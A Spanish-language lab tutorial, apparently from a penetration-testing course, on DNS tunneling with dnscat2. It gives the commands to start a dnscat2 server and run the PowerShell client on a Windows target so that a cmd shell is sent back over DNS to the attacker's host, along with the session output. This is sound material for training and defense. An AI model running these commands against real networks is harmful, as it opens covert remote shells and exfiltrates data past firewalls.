Saltar a contenido

DNS Tunneling with Dnscat2

He actualizado la memoria para no traducir los títulos en las traducciones. Aquí tienes la traducción ajustada: Dnscat2 es una herramienta de túnel que utiliza el protocolo DNS para enviar datos entre dos hosts. Usa un canal de Command-&-Control (C&C o C2) cifrado y envía datos dentro de los registros TXT dentro del protocolo DNS. Generalmente, cada entorno de dominio de Active Directory en una red corporativa tendrá su propio servidor DNS, el cual resolverá nombres de host a direcciones IP y redirigirá el tráfico a servidores DNS externos que participan en el sistema general de DNS. Sin embargo, con dnscat2, la resolución de direcciones se solicita a un servidor externo. Cuando un servidor DNS local intenta resolver una dirección, los datos se exfiltran y se envían a través de la red en lugar de realizar una solicitud DNS legítima. Dnscat2 puede ser un enfoque extremadamente sigiloso para exfiltrar datos mientras se evade la detección de firewalls que inspeccionan las conexiones HTTPS y el tráfico. Para nuestro ejemplo de prueba, podemos usar el servidor dnscat2 en nuestro host de ataque y ejecutar el cliente dnscat2 en otro host Windows.


Setting Up & Using dnscat2

Si dnscat2 no está configurado en nuestro host de ataque, podemos hacerlo utilizando los siguientes comandos:

Cloning dnscat2 and Setting Up the Server

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server/
sudo gem install bundler
sudo bundle install

Luego, podemos iniciar el servidor dnscat2 ejecutando el archivo dnscat2.

Starting the dnscat2 server

sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache

New window created: 0
dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 10.10.14.18:53
[domains = inlanefreight.local]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=0ec04a91cd1e963f8c03ca499d589d21 inlanefreight.local

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=0ec04a91cd1e963f8c03ca499d589d21

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

Después de ejecutar el servidor, nos proporcionará la clave secreta, que tendremos que proporcionar a nuestro cliente dnscat2 en el host Windows para que pueda autenticarse y cifrar los datos que se envían a nuestro servidor dnscat2 externo. Podemos usar el cliente con el proyecto dnscat2 o utilizar dnscat2-powershell, un cliente basado en PowerShell compatible con dnscat2 que podemos ejecutar desde objetivos Windows para establecer un túnel con nuestro servidor dnscat2. Podemos clonar el proyecto que contiene el archivo del cliente a nuestro host de ataque y luego transferirlo al objetivo.

Cloning dnscat2-powershell to the Attack Host

git clone https://github.com/lukebaggett/dnscat2-powershell.git

Una vez que el archivo dnscat2.ps1 esté en el objetivo, podemos importarlo y ejecutar los cmd-lets asociados.

Importing dnscat2.ps1

PS C:\htb> Import-Module .\dnscat2.ps1

Después de importar dnscat2.ps1, podemos usarlo para establecer un túnel con el servidor que se ejecuta en nuestro host de ataque. Podemos enviar de vuelta una sesión CMD a nuestro servidor.

PS C:\htb> Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd 

Debemos usar la clave precompartida (-PreSharedSecret) generada en el servidor para asegurarnos de que nuestra sesión se establezca y cifre. Si todos los pasos se completan con éxito, veremos que se establece una sesión con nuestro servidor.

Confirming Session Establishment

New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

dnscat2>

Podemos listar las opciones que tenemos con dnscat2 ingresando ? en el prompt.

Listing dnscat2 Options

dnscat2> ?

Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows

Podemos usar dnscat2 para interactuar con sesiones y avanzar en un entorno objetivo durante compromisos. No cubriremos todas las posibilidades con dnscat2 en este módulo, pero se recomienda encarecidamente practicar con él y tal vez incluso encontrar formas creativas de usarlo en un compromiso. Interactuemos con nuestra sesión establecida y pasemos a una shell.

Interacting with the Established Session

dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

Microsoft Windows [Version 10.0.18363.1801]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
exec (OFFICEMANAGER) 1>